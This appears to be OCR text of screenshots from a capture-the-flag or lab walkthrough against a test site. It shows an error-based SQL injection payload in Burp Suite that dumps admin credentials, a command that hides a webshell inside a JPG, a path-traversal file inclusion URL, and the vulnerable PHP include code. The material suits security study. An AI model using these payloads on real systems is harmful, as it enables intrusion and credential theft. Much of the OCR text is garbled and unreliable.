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Burp Intruder Repeater Window Help

[Target Y Froxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Options IAIerts ]

J Intercept I Histary I Options ]

[EJ Reguest to http: e test. ichungiu:B0 [172.16.12.2]

l Forward J [ Drop J [ Intercept is on ] Action Corament this item

Raw | Params | Headers | Hex

(2

Accept-Laneuaee: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5. 1; Trident/4.0; . NET CLR 2.0.50727; . NET CLR
3.0.4506. 2152; . NET CLR 3.5.30729: . NET4.0C: .NET4.0E)

Content-Type: application/x—www—Form-urlencoded

Accept-Encodine: ezip, deflate

Host: wewwn. test. ichungiu

Content-Length: 155

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESS|D=rbf34pkucrnntsT8plkhhdcihl

|

username=ichungiudpassword=ichunqgiudpassword2=ichungiudfields%EBtruenameksl= |chunq|u&F|e‘nF%%d ﬁﬂ%s’)df B/
chungiudphone=18888888888&ver ifycode=cdedlaeree=1 L_,
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Burp Intruder Repeater YWindow Help

[Target T Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Options IAIerts ]

J Intercept I History I Options ]

(#] Request to hitp:fww test ichungiu:B0 [172.16.12.2]

l Farward J [ Drop J | Intercept is on ] Action Corament this item

Raw | Params | Headers | Hex

2]

Content-Type: application/x—ww-Form-urlencoded

[a
Accept-Encoding: gzip, deflate
Host: wewy test. ichungiu
Content-Length: 155
Proxy-Connection: Keep-Alive
Fragma: no-cache
Cookie: PHPSESS|D=rbf34pkucrnntsT8pOkhhdoihl
username=ichungiu' UNION SELECT 1.2,3 4,6,6.7,8.9,10, 11,12, 13,14 FROM (SELECT
count (1), concat (round (rand (0)), (SELECT concat(username, 0x23, password) FROM c_admin LIMIT O, 1))a FROM
information_schema. tables GROUP BY — == el
a) b#&password=ichungiudpassword2=ichungiu&fiel dsk¥5Btruenane%5D=ichungiutfields%¥5Baddr =W1Tir‘u£h}>ﬁg— B/
=1888888888B&ver i Fycode=cdeddae ree=1 =\ l VIE [»
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Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Options IAIerts ]

j Intercept I Histary I Options ]

(#] Request to hitp:fwww test. ichungiu:80 [172.16.12.2]

l Forweard J [ Drop J | Intercept is on ] Action Comment this item H

Raw | Params | Headers | Hex

H

Content-Type: application/x—ww-form-urlencoded

I
Accept-Encoding: gzip, deflate
Host: wwwy. test. ichungiu
Content-Length: 155
Proxy-Connection: Keep-Alive
Fragma: no-cache
Cookie: PHPSESSI|D=rbf34pkucrnntsT8pOkhhdoihl
username=ichungiu' UNION SELECT 1,2,3 4,65,6,7, 8 9,10,11,12,13, 14 FROM (SELECT
count (1), concat (round (rand (0)), (SELECT concat(username, 0x23, password) FROM c_admin LIMIT O, 1))a FROM
information_schema. tables GROUP BY e &l
a) b#&password=ichungiudpassword2=ichungiud&fiel ds%5Btruename%5D=ichungiutfields¥5Baddr _ntrl"ukh’)ﬁ%
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Burp Intruder Repeater Window Help

[Targel [ Froxy I Spider I Scanner I Intruder T Repeater I Sequencer I Decoder I Comparer I Extender I Options IAIens ]

1= |2 =
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Request

Response
Raw | Params | Headers | Hex Raw | Headers | Hex
username=ichungiu' UNION SELECT |A BESEESMDuplicate entry A

1,234 5 6,7.8.0,10,11,12, 13, 14 FROM (SELECT
count (1), concat (round (rand (0) ), (SELECT

concat (username, 0x23, password) FROM c_admin -
LIMIT ©, 13)a FROM information_schena. tables “username =" ichungiu® UNION SELECT
GROUP BY 1.2.3 4.5, 6.7.8.9.10.11.12, 13, 14 FROM
a) b#&password=ichungiuépassword2=ichungiu&fieldsk {SELECT

BBt ruename%5D=ichungiudfields%5Baddress%ED=ichung count (1) concat (round (rand (0)) . (SELECT
iukphone=18888586888&ver ifycode=cdedlagree=1 concat (username, 0x23, password) FROM

1' for key "sroup_key' <br>sgl:select #*
£ b, 1%

"Tudemsi121#1be20ch2907edcal edfb6F375ab663F 5

|' c_admin LIMIT 0.1))a FROM | . ",
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Copy Sunset.jpg/b + muma.txt/a result.jpg /y

TIHDOTS systen3Zhicnd. exe

\Documentg and Setting: dmin istratm‘\%ﬁ)dir

C:Documents and Settings\ﬂdministrator\%ﬁ E'TIET_T";

17:13 <DIR>
17:13 <DIR> .-
11:56 18 Everything.lnk
17:17 36 |muma. txt
15:58 742 Notepad++.1nk
28:88 71,189 |Sunset.jpy
18:24 1,158 Tools.lnk

c =
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Mifi)a, BAmTER, ERER:

-_i/ http:/fwww. test. ichungiufindex. php®m=. . /. . fuploadf. . . x
<br /> -
bAarning<b>  inelude

(T fhpaches. E/htdoes/system/modules/. loadfilefimage/
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5 /index. php
href=" funetion. inelude’ *function. include</a>]: failed to

open stream. Fo such file or directory in <b3C:“ApacheZ. 2
g;dog\?&:te?‘gfﬂnction glebal. ine. phpfs/b> on line .
30</b>br :-j::~- 4
b 1> ﬁvzvum i
<b>'|'|'arn1ng<fb> inelude () [<a K L._.l'\. |l

href=" function. include’ Munctiondpoludediazly Failed o m
opening
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S A 5] admin 2015-12-1T 13:54:04 0
S [E3 cach 2015-12-17 14:02:12 0
= El ApacheZ 2 cache i
3 data 2015-12-17 14:24:02 0
[ install 2015-12-17 14:24:02 0
g ;a:he T3 systen 2015-12-17 14:02:12 0
ata
[ install I3 wploadfile 2017-03-02 17:28:26 0
El syztem | flag9szsed-fdzved-113iza. txt | 2015-12-17 14:57:10 13
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BAEFH m=? c=? =2 XEASHSMRR: B, K, ik BARALEE/system/function/global.inc.php 35 :



ke it
$m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
$c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
$f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init";
/I HBTRER R BFE
if(!file_exists(MOD_PATH.$m)){

showmsg(C('module_not_exist'),'/");
}
/1 FI TR R BT
if(!file_exists(MOD_PATH.$m."/".$c.".php")){

showmsg(C('class_not_exist'),'/");

)
include MOD_PATH.$m."/".$c.".php"; // VA
/1 AWRRERLE

if(!class_exists($c)){
showmsg(C('class_not_exist'),'/");

}

$p=new $c(); //FbIk

$p->$£();  //WATTE

global.inc.php X447 B 7E#8 H F/system/function , uploadfile AR BER T, FreABm EBM%, . ./

I] [ www. test. ichungin X
I C:wApache? Zihtdocshsysten' functionh e EH
172.16.12.2 BFm), 3 m B FE] o Bt
Dl data * = admin ine.php  2015-12-17 13:51:00 226 0ees
] install - . e
SO e clue. ine. php 2015-12-17 13:51:00 3265 0BEE
= fields ine.php  2015-12-17 13:51:00 266 0BEE
) Libs fun. ine. php 2015-12-17 13:51:00 13535 DBBE
dul
g 2° t“ global. ine phy | 2015-12-17 13:51:00 1170 0686
mar ty
) tenplates / upload ine.php  2005-12-17 13:51:00 2366 0686
0] templates o verslon inc. php 20015-12-1T7 13:51:00 76 OBEE
J ] uploadfile | (e = LH[ 2
> 0 e | &
e QPP EN A I
- PRS- ICRENGIY-E0M
GE2312

~END-
ps: EAAMIRRMAREBEME; BBEBHETS, BRI

Dareand the world always yields.
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